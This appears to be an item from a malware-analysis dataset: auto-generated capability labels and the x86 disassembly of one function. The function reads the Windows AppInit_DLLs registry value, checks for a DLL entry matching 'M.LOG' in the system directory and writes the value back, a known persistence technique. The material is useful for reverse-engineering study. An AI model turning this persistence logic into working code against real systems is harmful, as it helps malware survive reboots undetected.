Function at 0x408ec0
Capabilities:
Check if file exists
Get common file path
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x914
mov al, byte [0x41d744]
push esi
push edi
mov byte [esp + 0x11c], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11d]
lea edx, [esp + 0x51c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x14]
mov dword [esp + 8], 1
stosb byte es:[edi], al
push ecx
lea eax, [esp + 0xc]
push edx
push eax
push str.AppInit_DLLs
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
mov dword [esp + 0x2c], 0x400
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x4090ee
mov cx, word [0x419e58]
mov dl, byte [0x419e5a]
mov dword [esp + 0x10], eax
mov word [esp + 0xc], cx
lea eax, [esp + 0xc]
lea ecx, [esp + 0x51c]
push eax
push ecx
mov byte [esp + 0x16], dl
call dword [sym.imp.MSVCRT.dll__mbstok]
mov esi, eax
add esp, 8
test esi, esi
je 0x4090ee
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x10]
push 2
push 0x419e54
push esi
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x408fd1
push str.M.LOG
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x408fd1
lea edx, [esp + 0x20]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x20]
push esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x408fc4
lea edx, [esp + 0x20]
push edx
call fcn.00406260
add esp, 4
mov dword [esp + 0x18], 1
jmp 0x40908f
lea edi, [esp + 0x124]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40903c
mov ecx, 0x400
lea eax, [esp + 0x124]
cmp byte [eax], 0
je 0x408ffb
inc eax
dec ecx
jne 0x408ff0
jmp 0x40903c
test ecx, ecx
je 0x40903c
lea eax, [esp + 0x10]
test eax, eax
je 0x40900e
mov ebp, 0x400
sub ebp, ecx
mov edx, 0x400
lea eax, [esp + ebp + 0x124]
sub edx, ebp
je 0x40903c
mov edi, 0x419ea4
sub edi, eax
mov cl, byte [edi + eax]
test cl, cl
je 0x409034
mov byte [eax], cl
inc eax
dec edx
jne 0x409025
jmp 0x409038
test edx, edx
jne 0x409039
dec eax
mov byte [eax], 0
mov ecx, 0x400
lea eax, [esp + 0x124]
cmp byte [eax], 0
je 0x409053
inc eax
dec ecx
jne 0x409048
jmp 0x40908f
test ecx, ecx
je 0x40908f
lea edx, [esp + 0x10]
test edx, edx
je 0x409066
mov ebx, 0x400
sub ebx, ecx
mov edx, 0x400
lea eax, [esp + ebx + 0x124]
sub edx, ebx
je 0x40908f
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x409087
mov byte [eax], cl
inc eax
dec edx
jne 0x409078
jmp 0x40908b
test edx, edx
jne 0x40908c
dec eax
mov byte [eax], 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.MSVCRT.dll__mbstok]
mov esi, eax
add esp, 8
test esi, esi
jne 0x408f6a
mov eax, dword [esp + 0x18]
pop ebp
test eax, eax
pop ebx
je 0x4090ee
lea edi, [esp + 0x11c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x120]
push ecx
push 1
push str.AppInit_DLLs
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [0x41d920], 1
pop edi
xor eax, eax
pop esi
add esp, 0x914
ret